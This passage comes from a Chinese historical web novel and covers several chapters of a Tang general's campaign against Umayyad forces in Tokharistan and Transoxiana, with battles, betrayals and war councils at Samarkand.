哥舒亶抓住机会,一把把衣袍从他手中救了出来,把他往旁边让了让: “这位才是我家将军,大唐安西副大都护洛北,也是西突厥十姓可汗的长子乌特特勤。” 洛北原在看热闹,见都泥利又要扑到他的腿边哭诉,唯恐这件新换的锦袍再度弄脏,便双手把都泥利扶了起来:“叶护快收拾收拾吧,我们马上去城楼上眺望屈底波的军营。” 屈底波的军营后撤到一片矮山之下,依旧离乌浒水不远。从阿缓城的城楼望去,可以看见他营中的大部分情形。 洛北放眼望去,只见他派去充作使节的那个大食士兵孤零零地被挂在屈底波大营之外,不由得轻轻叹了口气: “屈底波孤身将兵在外,却暴虐如此,其统治安得长久。” 伊奈吐屯屈勒在他身后笑道:“特勤,他们大食人自己杀大食人,和我们有什么关系?您感怀什么?” 洛北回头望了屈勒一眼,一时没有说话。那天他以六骑挑衅敌营,不仅全身而退,还全歼大食一千兵马,俘虏一员大将。消息立刻传遍军中,即使是屈勒和莫贺咄吐屯手下的精兵,也有不少人传唱起乌特特勤的颂歌。自那之后,屈勒便常常跟在他身后,再也没有了之前那副不情不愿的模样。 伊奈吐屯屈勒被他那双金色的眼眸一望,顿觉背后发凉,张口正要解释什么,洛北已经回过头去,不再理他。 洛北从箭囊中取出一支白羽大箭,直背起身,拉动弓弦,放出一箭。羽箭破空而去,正中那木桩的下部——也亏屈底波军令严酷,士兵们没能找来更大的树木,只找了几根木条一钉了事。此刻这木条被这大羽箭一撞,即刻四处散开。 那挂在木条顶端的尸首受力不匀,栽倒在地上,发出一声轰鸣。大食军营中的士兵们听闻此声,纷纷出来查看,他们只能看到倒散一地的木条、尸首和远方站在城楼上的大唐将军们。 “唐人的将军一定有神明相助……” “不,是魔鬼!” …… 这样的讨论悄悄地在屈底波的大营中弥漫开来。首先传说的是那些被大食人抓来的吐火罗奴隶和军人,其次是最底层的大食士兵……最后,连屈底波的兄弟拉赫曼也忧心忡忡地找到他: “我听闻了许多大唐将军的故事。” “听说他曾经穿越风雪茫茫的天山,奇袭碎叶城外的突骑施牙帐。” “听说他曾经在沙漠中射倒敌人的主将。” “听说他曾经以两万人击溃敌人五万人的军团……兄长,听说他的母亲是拜火教的女巫,拜火教的伪神曾经授予他一双看破一切的眼睛和许多法术。我们……” 屈底波看着他:“你想说什么?” “我们玩的伎俩,不会被他发现吧?” 屈底波瞪起眼:“你是说,有人看到了你和他们往来的使者?” “没有,没有。”拉赫曼否认,“我的使者们都很小心。” “那就是他发现了他们来往的信件?” 拉赫曼再度摇头:“不是,不是。” “既然一点证据也没有,你怕什么?!他还需要他们替他效忠,为他打仗。没有实质性的证据,他不会轻举妄动的。”屈底波摇头,“不过,我得承认,我低估了他一点。” “兄长是说……” “我以为他没有用血缘和信仰纽带就组织了一支大军。其实我错了。”屈底波由衷感怀道,“他的军队是有信仰的。” 拉赫曼一时没有理解他的意思:“您是说?” “他的军队信仰一位战无不胜,攻无不克的军神。” 屈底波恨铁不成钢地看了他的弟弟一眼,“那就是他自己!” 所以洛北才要在战争未开之前就率军掠阵,所以他才要在所有人面前炫耀那手举世无双的箭法——洛北在用他自己的方式稳定军心,在用他自己的方式创造信仰! 拉赫曼犹豫道:“那他们不是很难对付……?” “是很难。以我目前的军力来说,正面对抗,胜算不大。”屈底波闭上眼睛,“来之前,哈里发曾经应允我们,谁先攻入唐人的领土,就让谁做大食的‘中国总督’。现在看来,我们对唐人了解得太少了。但我们现在不能退军……” “为什么?”拉赫曼高声追问。 “此刻一旦退军,所有人……包括在大马士革的哈里发都会认为是我畏惧了阿史那乌特的兵锋。”屈底波道。“河中和吐火罗的反抗将会此起彼伏,就连呼罗珊之地的那些波斯奴隶也不会太平。不,不行,我们绝不能这样仓皇逃走。” 他忽而想到了什么,看向拉赫曼:“他不是有什么看透一切的眼睛吗……你去暗示我们的‘朋友们’,就说,伟大的乌特特勤可能已经知道了他们的企图。” 拉赫曼道:“兄长是打算逼他们狗急跳墙?” “这样说话太难听了。”屈底波道,“我只是知道,要捅一个人刀子,必须绕到他身后。” 第187章 “你等的吐蕃援军不会来了。三日之前,他们就已全军覆没。” 可屈底波没想到的是, 次日清晨,天方破晓,他就被巡营士兵一声高过一声的呼喊从睡梦中唤醒了。 “敌袭——” “敌袭——” 号角声和兵戈碰撞声响作一团, 几乎要把人的耳朵震聋。在一片混乱之间, 屈底波披起铠甲,命亲兵举起自己的大旗。在闪闪的日光下,他的大旗分外显眼。 “拉赫曼!”他扯着嗓子喊自己的弟弟,“整顿军队!整顿军队!” 大食军队已随他征服河中和吐火罗的泰半土地,被他和拉赫曼一而再, 再而三地整饬之下,终于重新列阵披甲,与冲进自己营地的唐军厮杀起来。屈底波好不容易才率领亲军冲出营地, 跃马到山上望去——唐人的军队漫山遍野,红色的唐旗与黑色的飞鹰旗帜交相辉映,几乎遮蔽了整片天空。 “正教徒们!向天神证明你们的时刻到啦!”拉赫曼扯着嗓子大喊, 率领忠于自己的几千亲兵, 顶着唐军的箭雨向前冲去。唐军闪避不及,竟生生被他冲开一道裂缝。 “此人真是勇将。”与往常不同,这一仗洛北坐镇后军,正在为不能亲自冲阵百般无聊, 四下扫视之时,一眼便看到了这个向自己中军冲来的大食将军。 捺塞在他身侧, 听他夸耀此人武力,立刻以手抚肩,躬身道礼:“特勤, 请允许我率军与此人一会!” “捺塞国相,你身负收复吐火罗之重任, 不可轻举妄动啊。”洛北伸手摩挲着马鞍上挂着的羽箭,“可惜,就差五十步,但凡我再离他近个五十步……” 捺塞满脸不服气:“特勤是大唐的将军,西突厥可汗的长子,也应当是吐火罗人的主人。我只是国相,应尽我辅佐的责任!”说罢,也不等洛北同意,转身招呼自己的传令官:“吐火罗人听着!跟我冲!” 那枚象征吐火罗人的大旗一挥,一众军队向前冲去,生生制住了拉赫曼前进的脚步。两军顿时绞在一起,喊杀声震天动地。 洛北见状,立刻命人打出旗语: “命令莫贺达干和苏禄将军一道出兵。” 莫贺达干和苏禄麾下都是西域各部的精锐骑兵。洛北命他们急速行军,自两侧包抄敌人侧翼。 他们同为突骑施首领,分辖黑姓黄姓,又承担了类似的任务,两人口中不说,心中却都起了争胜之心。 战鼓一响,这两人都不约而同地亲自带队冲锋在前,一个高喊:“黑姓的子孙们!建功立业的机会到啦!”一个大叫:“黄姓的子弟们,杀!杀!杀!” 屈底波见状,急忙命令拉赫曼向后退兵,然而拉赫曼已在唐军的团团包围之中,进也不是,退也不是,一度陷入了苦战。 屈底波看得心急如焚,他知道,如果不能及时打破唐军的包围,拉赫曼和他的亲兵将会全军覆没。 “弓箭手,集中射击唐军骑兵!”屈底波大声命令,他的声音在战场上空回荡。大食的弓箭手们立刻响应,箭雨如蝗,射向唐军骑兵,试图减轻拉赫曼的压力。 然而,洛北和裴伷先大治西域的成果在今日派上了用场。唐军骑兵皆身披重甲,羽箭落在上面,只发出啪嗒啪嗒的声响。只有射中马匹的要害,才能阻止住唐军的脚步。 唐军虽然有所损失,但脚步不停,好不容易被拉赫曼拉扯出来的士气又一点点掉了下去,莫贺达干和苏禄的骑兵如同两把锋利的匕首,不断地切割着大食军队的阵型,屈底波的军队渐渐有了败逃的势头。 “不许退!不许退!”屈底波抄起宝剑,亲自砍掉了几个跑得最快的骑兵的脑袋,“你们这群胆小鬼!懦夫!坚持住!不然你们怎么有脸面对你们的天神,你们的祖先?! 拉赫曼在包围圈中左冲右突,试图找到突破口。他的亲兵们紧随其后,尽管人数不多,但个个都是精挑细选的勇士,他们以一当十,与唐军展开了殊死搏斗。 他回望看向大食军阵,大食的旗帜和象征屈底波的大旗都在风中飘摇,他知道,他的兄弟正在想办法拯救这场战争。 “兄弟们,为了大食,为了天神,冲啊!”拉赫曼挥舞着长剑,鼓舞着士气,他的亲兵们也发出了震天的怒吼,他们的决心和勇气在这一刻被点燃。 “莫贺咄吐屯,伊奈吐屯。”洛北沉声命令道,“你们即刻行军,赶到东面设伏。” 伊奈吐屯屈勒好奇地问他:“将军怎么知道屈底波要败退了?” 洛北还未说话,阿拔思已经横了他一眼:“伊奈吐屯!你这是在军中向主帅问话?” 这位麾下有三千精骑的将军说出来的话就比其他人有力许多。伊奈吐屯屈勒缩了缩脑袋,道了一声:“遵命!”就和莫贺咄吐屯点出自家的七千精兵,一路向东而去。 待到他们的身影走远,眼看原野上的厮杀还在继续。洛北双腿一夹马腹,把自己作为最后的预备队投入了战场之中。 苦战半日,连口热水都没捞上喝的大食人终于有幸与这位传闻中的“金色眼眸的乌特特勤”照面,可惜,是以一种十分不幸的方式。 洛北披挂整齐,带领亲军冲入大食军阵。他们如同一阵黑色的旋风,走过何地,何地便飞沙走石,动荡不堪。这阵旋风正无情地收割着战场上每一个大食士兵的性命。 恐惧……过往的传闻同现实交织在一起,恐惧如同瘟疫一般在大食军阵中蔓延。或许是有人在喊,又或许是一声锐利的尖叫,总之,有人再度丢下手中兵刃,疯狂地抽打马臀,要麾下的坐骑带自己离开这个地方:“他是魔鬼!魔鬼!” 屈底波咬了咬牙,他自知单打独斗,自己未必是这位年轻的大唐将军的对手,可事情到了这样的地步,他如果不下场,等待他的只有全军覆没一条路:“亲兵!和我上前殿后!其余人,撤兵!撤兵!” 大食军队如潮水一般向东退却。莫贺达干和苏禄立刻抓住了这个机会,再度从两翼切入军阵之中。这一次,唐军的左右骑兵在大食阵中会师,两人只互相看了一眼,就再度厮杀起来。 屈底波手中的宝剑已经砍出了豁口,,他的铠甲上沾满了血迹,铠甲下的黄袍也已经被血浸湿了,有敌人的,也有他自己的。 他的亲兵们紧随其后,他们的眼神中透露出坚定和忠诚,即使面对着绝望的战局,也没有人退缩。 “为了大食的荣耀!”屈底波高呼,他的声音在战场上回荡,尽管沙哑,却充满了力量。他的亲兵们响应着他的号召,他们的声音汇聚成一股洪流,即使是在唐军的猛烈攻势下,也显得格外响亮。 洛北所骑乘的那匹骏马身中数箭,终于在他冲到屈底波军前时倒地不起,洛北推开了阿拔思递来的备马的缰绳,反倒一刀挥出,砍断了屈底波坐骑的马腿。 两位麾下近半数是骑兵部队的主帅,此刻竟然在荒野上一对一地捉对厮杀。洛北身形灵巧,屈底波大工不巧,两人手中兵刃交错,迸出激烈的火星。 “别演戏了,屈底波。”洛北在兵刃交错之间开口,说出的却是一口流利的大食话,“我知道你在等什么,但你吐火罗各地的援军,不会来了。” 大军集结月余,阿缓城破也十多日功夫,洛北却一直迟迟不攻击大食主力,原因就是他在等吐火罗各地起兵反抗大食—— 直到前夜为止,大食先前占据的吐火罗各州都爆发了反对大食的起义。驻扎在那些地方的大食军队必须面临一个痛苦的选择:是响应总督屈底波的号召去救援阿缓城?还是留下来守住自己的一亩三分地? 只要这些地方的守将稍作沉思就会发现,作为一方守将,他们最好的选择就是,佯装发兵,坐山观虎斗! 洛北仰仗神兵之利,打得屈底波虎口发麻。他好不容易怒吼一声,侧身避开洛北劈来的一刀:“唐人将军,你错了,我不是在等他们的救援。” 洛北后撤半步,侧身一歪,躲开他刺来的一剑:“哦?那我猜猜,你在等什么?” “自护密而来的吐蕃援军?” 护密地处葱岭之西,与大唐、吐蕃与吐火罗接壤。历来就是吐蕃和大唐西去的要道。昔年东晋高僧法显和本朝高僧玄奘西去天竺,都曾经走过这条道路。 屈底波心中一震,不可置信地望向洛北的眼睛。那双琥珀色的眼眸在浓烈的日光下显得尤为耀眼:“你……” “你没有走过护密。屈底波。”洛北单手握刀与屈底波交战,东劈西砍,“那个地方荒无人烟,除一条道路之外,到处是山,极为易守难攻。” 屈底波听着他带着一点奇怪口音的大食话,心里却一点一点地沉了下去:“你……” “你等的吐蕃援军不会来了。三日之前,他们就已在护密全军覆没。” 屈底波尚未来得及反应,洛北已经向前挥出一道刀光,直冲他面门而来。此刻他已经闪避不及,被这刀光削断了头上的头巾和一小片带着头发的头皮。鲜血顺着他的额头流淌下来,遮住了他的眼睛。他跌倒在地,却还愤怒地伸手指着洛北: “魔鬼,你一定是魔鬼!” 屈底波的副将见状,连忙冲过来,一把把他捞起,放在了自己的马鞍上。屈底波的亲兵们也围聚而上,组成一道身着铠甲的人墙,挡在洛北面前。 洛北没有打算和这些死士硬碰硬,他重新翻身上马,检阅眼前的一片荒野。大战已经接近尾声,荒野上横七竖八地躺着人们的尸首,旗帜掉落,兵刃折断……目之所见,耳之所闻,都是一片地狱般的场景。 “传令前军,不要再追了。”洛北抬起手,下达他此战的最后一道军令,“收拾战场,救治伤员,掩埋死者。“ 阿拔思不甘心地看着屈底波远遁的方向:“伯克!要是我那时箭囊里还有箭就好了!” 洛北笑了:“石国的莫贺咄吐屯和伊奈吐屯不是在他东归的道路上等他么?你也不要想着自己一个人把军功都挣完了。” 阿拔思看了他一眼:“伯克不会真的相信那对父子吧?我敢打赌,他们一定连一箭都不会放,就让屈底波轻轻松松地过去了。” 第188章 “就凭你们父子,也妄想瞒过阿史那乌特的眼睛?” 屈底波大军败退的三日之后, 金雕振翅飞入洛北军营,为他带来了新的好消息。 趁着大食围攻阿缓城,无暇北顾的时间, 张孝嵩协助康国的王公乌勒伽起兵推翻了老王突温, 撕毁了向大食卑躬屈膝的贡税和约,举起了反抗大食的旗帜。 自高宗朝以康居都督为昭武九姓册封使以来,昭武九姓的粟特各国皆隐约尊康王为河中首脑。如今乌勒伽在康国掀起反抗旗帜,一时之间,安国、毕国等国群起响应, 河中及吐火罗各地都掀起了反抗大食的浪潮。 “可惜还是让屈底波跑了。”苏禄在大营中望着地图,向洛北抱怨,“大帅太信任那对石国的父子, 若换我来设伏,就会在乌浒水流域埋伏重兵,等他们渡河之时, 突然发难, 管教大食人有来无回。哪会像现在,竟给屈底波跑回了木鹿城。” 虽然阿缓城外一战结束之后,唐军斩首万级,杀伤万人, 还俘虏了屈底波的弟弟兼他最得意的副手拉赫曼。 但屈底波到底没有溃败,他的军队是成建制地撤出阿缓城的。这也意味着, 只要他回到呼罗珊,就可以再召集起一支大军与唐军争锋。 更不要说,被洛北安排去守屈底波东逃之路的石国国王莫贺咄吐屯和伊奈吐屯屈勒早与屈底波勾结在了一起。屈底波大军兵峰还没到, 石国的这对父子连一兵一卒都不肯派,就扯旗逃回石国去了。 洛北扫视了一圈大帐, 但见大帐中的众将领虽然不是人人敢言,但听了苏禄这话,脸上还是露出认同的神色。 “诸位。”洛北沉吟片刻,才道,“你们觉得大食人驰骋河中及吐火罗,依靠的是什么?” 朱邪烈沉吟片刻:“依靠骏马和宝剑?” 莫贺达干摇了摇头:“我们和他们交过手,单论武器和装备,他们不是我们的对手,依我看,依靠的是一股必胜的信心。” “我看是贪婪。”苏禄道,“他们想要河中和吐火罗之地的财富。” 阿拔思望了一眼洛北,只见他神色平静,似乎没有人说到他想要的答案,不得不慎之又慎地思考了片刻:“依靠他们的信仰?我审问过两个大食俘虏,他们都表现得英勇无惧,和我说什么大食人在战争中死去,会被神接去天堂享福。” 帐中众人都笑了。 洛北打了个手势,压住帐中一众大将的笑声:“大食风俗是另外一个话题,回到我们面前来吧。我对这个问题的回答是,人口。” 他敲了敲自己军帐中悬挂的那副地图,示意人们把目光聚集过来:“四十余年前,大食吞并波斯,当时的大食东方总督齐亚德在大食组织起五万人,要求他们迁移到这里——木鹿城一带。他的理由是大食本土处于一片半岛之上,天气炎热,水源匮乏,因此要这五万人自寻出路。” “自那之后,这五万大食人在波斯故地,也就是他们所说的呼罗珊繁衍生长,四十年,足够繁衍起一到两代人。他们是大食统治的根基,也是屈底波大军的兵源所在。” “所以我们要不断地击败他们,直到他的军队中出现老人和孩子——直到那个时候,我们才能宣布,我们彻底地赢得了这场战争的胜利。” 帐中众将领都沉默下去。苏禄又站起身,来到地图前仔细地望了望,他似乎有点不敢相信,又有点担心:“那大帅……石国的那对父子,您打算怎么处置?张御史正在河中,或许可以征发粟特人的军队拦截他们。” “你把他们俩想简单了。苏禄将军。河中风云变幻了这么多年,莫贺咄吐屯和伊奈吐屯都能屹立不倒。我们在河中进军,他们会不知道?”洛北伸手,在地图上划出一道自解苏城外翻山而过的路线,“他们一定会抄山间小路回石国。” “特勤,您来这里之前,留下了两位胡禄屋首领看守碎叶城。”朱邪烈道,“不如让他们从碎叶出兵,攻打石国,也好杀杀他们的锐气。” 洛北轻轻笑了:“琪琪格和莫潘肩负保护草原上的妇孺和儿童的重任,这件事情,比攻占石国要重要得多。不过,我已经下令通缉他们……我向你们保证,不出半月,一定会有人把他们的脑袋送到我的面前。” 他脸上笑得温和,金色的眼眸中却只留下一片冰冷。 数日之后,石国城外,莫贺咄吐屯和伊奈吐屯屈勒所率领的七千精兵与一支大军不期而遇。 那支大军旗帜飞舞,象征突厥汗国的狼头纛与阙特勤的帅旗交相辉映。骑兵漫山遍野,让人望之胆寒。 东突厥的“西面设”阙特勤,提领着他手下的两万精兵来了。 阙特勤素有突厥第一勇士之名,这些年又南征北战,威名赫赫。莫贺咄吐屯自知自己不是阙特勤的对手,亲自前往阙特勤营中请降: “我父子虽孤悬石国,但一直心向突厥。若阙特勤肯收留我父子,我愿将石国所有财宝献上,并承诺石国将永远成为突厥的附庸。” 阙特勤坐在他大帐的宝座上,英武的脸上是一片冰冷的神情。他审视着莫贺咄吐屯,半晌没有说话。 他的沉默让莫贺咄吐屯感到了一丝不安,阙特勤可不是阿史那乌特那样深受唐人熏陶的突厥贵胄,他是血与火里滚出来的突厥大将,这代表他已经全盘掌握了草原上那套弱肉强食的规则。 “你的诚意,我看到了。”阙特勤终于开口,他的声音低沉而有力,“但是,你的背叛也是众所周知的。今天你背叛了大唐,背叛了阿史那乌特,明天你会不会背叛我?背叛突厥汗国?” “请阙特勤明鉴啊!”莫贺咄吐屯急忙辩解:“我心向突厥,此心可鉴。只是当时阿史那乌特把刀架在我的脖子上逼我出兵,我父子只能跟从他西征。阙特勤,若您点头,我愿尽发我国中之兵,为您前驱。” 阙特勤冷笑一声:“为我前驱,你的意思是……要跟着我背后偷袭阿史那乌特?” “是,是。”莫贺咄吐屯猜不透他的心思,只得趴在地上应道。 阙特勤道:“那大食呢?突厥子民们互相残杀,不正是屈底波趁虚而入的最好机会吗?” “这……大食……大食总督已为阿史那乌特所败,一时半会儿,应当不会再东来了。” 莫贺咄吐屯的额头渗出了冷汗,他知道阙特勤的话中带有威胁,但他也知道,这是他唯一的机会,他伏在地上,像个最卑贱的奴隶一样,对天发誓: “我发誓,石国将永远忠于突厥,我和我的儿子伊奈吐屯愿意成为阙特勤大人的仆人,为您效力。” “为我效力?你的儿子甚至不肯来朝见我,也叫为我效力?” 阙特勤站起身,走到莫贺咄吐屯的面前,一把揪起他的衣领: “你在阿史那乌特麾下就和屈底波勾勾搭搭,还以为自己很聪明,做得很干净吧?你也不想想,你为什么连哥舒亶大军南下护密的消息都不知道?” 莫贺咄吐屯被他的连番质问打蒙了:“哥舒亶,哥舒亶在护密?怎么会呢,我以为他南下是去帮助那些吐火罗人的城市……” “我让你做个明白鬼吧,哥舒亶是去消灭你和屈底波翘首期盼的吐蕃盟军的。现在,自于阗和护密出发的军队正向吐蕃进军。我听说,大唐已经发出斥令,指责吐蕃撕毁盟约,要毁掉金城公主下嫁的婚事。” 阙特勤把他丢在地上,重新坐回宝座之上,“你不妨猜猜,那位铁腕的摄政太后赤玛雷会怎么对待国中那些捣乱的大将。” “不,这不可能……这绝无可能……”莫贺咄吐屯几乎声嘶力竭,“他怎么会……” “就凭你们父子,也妄想瞒过阿史那乌特的眼睛?痴心妄想。”阙特勤冷笑一声,招呼自己的左右亲军:“好了,把这条毒蛇给我绑出去,全军整装,向石国进发!” 阙特勤于谈判之中突然动手,伊奈吐屯屈勒并无防备,被他麾下的大军一冲,立刻土崩瓦解。三日之后,阙特勤已经在石国城头升起了自己的帅旗。 伊奈吐屯屈勒本想再度逃跑,被阙特勤麾下的士兵抓到了大帐之中。大帐中的突厥将领们一看屈勒的模样,不免都笑开了花——他在衣袍外套了两件女子的花裙子,想混在妇孺之中逃出去。 阙特勤从袖中抽出一封信件,在他面前晃了晃:“阿史那乌特是个仁慈的人,特地写信来叫我‘只惩首恶,不问胁从’,但我不像我的兄弟那样好脾气。背叛,是草原上最值得唾弃的罪行。” “来人,把这两条毒蛇绑出去,乱棍打死。把他们的脑袋割下来,送给阿史那乌特,告诉他,我响应他的征召,前来与他共击大食了。” 到这一年的六月中旬,洛北扫荡吐火罗,涤清了所有盘踞在吐火罗的大食势力。他手持西突厥可汗的狼头纛,任命阿史那都泥利为吐火罗叶护。 同时,大唐也正式任命阿史那都泥利为大宛都督,并赠予他郡公的爵位和朝廷四品中郎将的官衔。另封吐火罗国相捺塞为大宛副都督,节制兵马,从旁辅政。 自此之后,吐火罗之地重回大唐控制之下。 洛北眼见诸事安定,随即拔营北上,准备与张孝嵩会师康国首都撒马尔罕。送别之时,阿史那都泥利额外把一个少年人拉到他身边:“请特勤准许,让这孩子随您同行。” 阿史那都泥利的弟弟仆罗已随哥舒亶南下去了护密,他会从护密辗转疏勒去长安朝拜,以示吐火罗归附之心。洛北打量了一眼这个少年人的面容:“这孩子今年不到十六岁吧?” 要离家万里之遥去长安,会不会太年轻了些? “特勤误会了。”阿史那都泥利笑了一下,“这个孩子是波斯王子泥涅师的儿子,名叫波善活,有着波斯帝国万王之王的血统。” 洛北这才仔细地看了看波善活,果然从他的眉眼间捕捉到长安城祆寺中那位大萨宝阿罗憾的痕迹——论血缘关系,阿罗憾正是这孩子的伯父。 “我曾和这孩子一样,国破家亡。”阿史那都泥利道,“我的国家破灭于大食人之手,我的父亲死于战阵之中——可我在军事上暗弱无能,不敢与大食争锋,特勤,若不是您和捺塞国相先后出手,只怕我已经做了大食人的俘虏。” “这个孩子是我亲手养大的,我希望,他能有亲手复仇的机会。” 第189章 “有你这样的对手,是敌人的不幸。” 洛北率军抵达撒马尔罕的时候, 这座大城已经被河中各国王公和他们集结起来的军队占满了。洛北只好驻军在城外,但撤去了军人不得入城的禁令,只是照例重申军纪, 并派出军法官入城巡查。 “有时候, 人不得不向现实低头。”他在空荡荡的军营中和张孝嵩会面:“撒马尔罕是河中最富庶繁华的城市,即使是我,也不能管住我手下那群从吐火罗满载而归的坏小子们。” 张孝嵩本在关注地图,听他这样说,不免轻轻一笑: “你对自己要求太高了。我率大军一路西行, 一路听闻众人传诵‘乌特特勤’之名。许多城市在我前锋斥候到达之际,便自发起义,把大食人赶出了自己的城市。” “不这样怎么办?”洛北叹息一声:“难道老百姓是生来就应该跟着我们走的吗?大食兵锋何其锐利, 屈底波征服河中,威赫一时,可他如今稍显败相, 河中各国便纷纷起兵反抗。个中情由, 足为你我的前车之鉴啊。” 张孝嵩哈哈大笑:“我知道你的想法,你是要为经略河中打个前站,可恕我直言,上有乌勒伽振臂高呼, 下有阙特勤率兵‘督促’,河中各国的粟特王公们若还看不清局势, 就该自己摘了王冠去投奔大食人。” 他看洛北也面露笑意,才顿一顿,状似不经意地问起: “可是, 我听说,阙特勤攻占石国, 诛灭莫贺咄吐屯父子,并夷灭其族。这对父子虽与大食勾结,但到底没有造成大唐的伤亡,阙特勤行事,是否太过酷烈了?” 阙特勤不是洛北的部下,而是他的兄弟和盟友。张孝嵩这句话的未尽之言,显然是在质疑这同盟的合法性——阙特勤孤身入碎叶是一回事,提领大军入河中,又是另外一回事。何况他现在又攻占了素来被视为是大唐和西突厥势力范围之地的石国,倘若阙特勤有心,他们立刻就会腹背受敌。 “我知道你想说什么,孝嵩。”洛北竖起一根手指在他面前摇了摇:“不过,或许你会失望,换我在那个位置,我一样会这么做。” “怎么,这不是你要示以仁慈的时候了?” 洛北笑了:“孝嵩,你是神龙元年的榜眼,响当当的天子门生,不至于同我争论这个吧?以德报怨,何以报德?再说” 他端起桌上的烛台,站到地图之前,伸手点了点护密一带: “你可曾想过,如果我没有发现他们与屈底波勾结会怎么样?” 张孝嵩随着他的目光往地图上看: 护密本是易守难攻之地,哥舒亶大军之所以能大获全胜,还是占了料敌于先的便宜。护密一旦为吐蕃所破,吐蕃西进之路将畅通无阻,当吐蕃大军顺着喷赤河到达阿缓城下时,即使是洛北,也不敢说自己能同时战胜两路大军。 “但阙特勤……” “如果我没有邀请阙特勤西来,事情会更糟糕。”洛北道,“石国的那对父子于大国之间进退失措,丢了大脸。他们回国之后,为了国内安定也好,为了找回场子也好,他们都会再挑起一场战争。这个时候,对他们而言,最好的目标就是……” “就是兵力空虚的碎叶城。”张孝嵩望着地图上碎叶城和石国的距离,长长地叹了口气。他必须承认,和洛北在一起的时间太久了,有时候他会忘记,眼前的这位主帅并非无所不能: “可是,请神容易送神难,之后你打算怎么办?” “石国位置太过西倾,阙特勤不会在那里待太久的。对于他这样出身东突厥汗国的突厥王子来说,他的目光只应该,也只能够盯着于都斤山下的可汗牙帐。”洛北道,“等我们与大食的战事结束,我会昭令各部,废掉石国之名,改建大宛都督府,在其首府柘折城及千泉城驻军。” 张孝嵩见他对答流利,知道他早就有了计算:“想必你也有了首任都督的人选?” “你觉得阿拔思如何?” 阿拔思是洛北的亲军将领,一向战功赫赫,也为洛北信任,让他镇守石国,确实是个再好不过的选择。张孝嵩微微一转,又反应过来一个新问题:“那你的亲军怎么办?” 洛北笑了:“走一步看一步吧。说句不好听的话,孝嵩,你觉得,此战结束之后,朝廷还会再让我统领大军吗?” 张孝嵩目光一滞:“你这话未免……”未免太灰心丧气了些。 “人生不满百,常怀千岁忧啊。”洛北摆了摆手,“不说这些了,阙特勤给我来了信,他的军队将于三日之后抵达撒马尔罕,你可同我一道去迎接他?” …… 阙特勤率领麾下骑兵到来的时候,正是夏日里夕阳西下的时候,晚风吹拂而来,吹动了洛北肩上金雕的羽毛。 “我真没想到,小小的一个吐火罗,竟能逼得大名鼎鼎的乌特特勤改变作战计划。”阙特勤与洛北打了个照面,便与他并肩打马走在河中绿洲的夜色里,两人一路说说笑笑,打发这无聊的行路时光。 阙特勤摸了一把金雕油光水滑的羽毛:“要不是这小家伙给我送信,我现在已经在木鹿城下了。” 金雕被他摸得很不自在,几度展翅欲飞,又被洛北按住了: “吐火罗之地四通八达,若不把盘踞在那里的大食人都赶出去,他们就会同吐蕃勾结起来,成为我们的心腹大患,这一次我不就是被石国的那对父子伙同大食、吐蕃摆了一道?” “被摆了一道?用汉人的话说,难道不是他们给你递了个绝妙的台阶,让你将计就计,斩断了吐蕃伸向西域的手吗?”阙特勤哈哈大笑,“我要是没记错,你好像还让哥舒亶在护密建了个守捉城吧?” 洛北面色不变:“不错,我们叫它葱岭守捉城。” “有了这座城,大唐就能看守住明铁盖达坂及护密,拔汗那人和吐火罗人就再也不用担心吐蕃的侵扰,碎叶城的安定又多了一重保障——走一步算十步,是你的风格。”阙特勤由衷地感慨。 洛北道:“是吐蕃人背盟在先,怪不得我。” “有你这样的对手,是吐蕃人的不幸。”阙特勤笑道。“我猜,大食人也应当很快就能了解到这种痛苦了。” 新任的康国国王乌勒伽已经率领一众河中地区的王公们守在撒马尔罕城外等待他们。这位撒马尔罕城的新主人今年刚过三十,他同其他的粟特人一样生着红发碧眼,胡须被精心地护理过,在嘴唇上打了个漂亮的半旋,头上的宝冠同衣料一样熠熠生辉。 但他的鬓边和脸上已经留下操劳过度的痕迹,只有在望到洛北和阙特勤身后的威武大军时,他那愁苦的脸上才露出一点笑容。 他同他身后的诸多河中王公们跪在地上,以流利的突厥话恭迎“两位伟大的特勤”光临小国,称他们为河中的拯救者和守护者,还奉上许多驼马物料充作军资。 阙特勤看了一眼洛北,见他没有推拒之意,才全盘收下,他压低声音对洛北道:“都说粟特人的舌头有石蜜,今日一见,名不虚传啊。” 洛北轻轻一笑,他从乌勒伽身上看到的更多的是无奈——小国君主,生于大国之间的无奈。他跳下马扶起乌勒伽:“乌王,如今大敌当前,虚礼就不必了。我听孝嵩说,乌王已在城中设了指挥所,将各路粟特商人收集的大食军情描绘于上,走,我们去看看。” 乌勒伽还没有习惯他那种雷厉风行的方式:“我已为两位将军备下欢迎的宴会,还预备了盛大的歌舞,两位将军如蒙不弃,不妨先用了饭,再到指挥所去吧。” “大唐兴兵西征,为的是吊民伐罪,讨伐大食。战事未定,怎可醉心享乐。”洛北答道,他不愿在众人面前落了乌勒伽面子,又笑着补充道:“乌王的心意我们都已经知晓,若诸位愿意,不妨把今日之酒封存起来,待到收复河中之日,再启封作庆功酒。” 乌勒伽对他投以感激的一望:“好,那就如将军所言!” 张孝嵩在指挥所外见到乌勒伽陪着风尘仆仆的洛北同阙特勤一道前来,笑着调侃道: “怎么样,乌王,我说过吧,以洛将军的风格,你那场宴会多半是派不上用场。” 乌勒伽已与张孝嵩并肩作战过,与他也算相熟,听了这句话,只是惭愧一笑:“换了我们粟特人的将军,不论战事如何,这一顿宴席是少不了的,两位将军勤勉如此,是我河中之幸。” “好了好了,虚礼客套的话不要讲了。诸位,告诉我,我们下一个战场在哪里?”阙特勤开口打断了他们的客套,把众人的目光拉回了地图之上。 “是我的安国。” 粟特王公中走出一个年轻的粟特男人,比起其他人,他的褐发褐眼让他看起来更像一个大唐子民,他说自己叫波婆提,是安国的王子: “那里的情况比康国和吐火罗不同,大食人已在我们的领土上修建了要塞,那里城墙很高,看守严密,一直只许大食人进入,不许我们粟特人进去过夜。我们拿这座要塞毫无办法。只能来请求诸位的帮助。” 第190章 “他一定会带兵去攻吐火罗的。因为我会带着他的弟弟在铁门关等他。” 一副安国要塞的地图, 挂在指挥所里那张大大的河中地图上。 波婆提给众人讲解了一道道关卡、门户。安国的许多要塞若要追溯时日,便会到遥远的亚历山大大帝征服的年代,这些年层层加固, 早已是城高池深, 足以使大部分骑兵望洋兴叹。 阙特勤抱臂站在后排,看了那地图半晌: “若要以骑兵对冲,他们不是我们的对手,可现在原本镇守安国的大食将军拉赫曼就在我们手里。要塞里的那些大食将领只怕会畏我等如虎,他们是不会轻易出兵的。” 他这一席话说完, 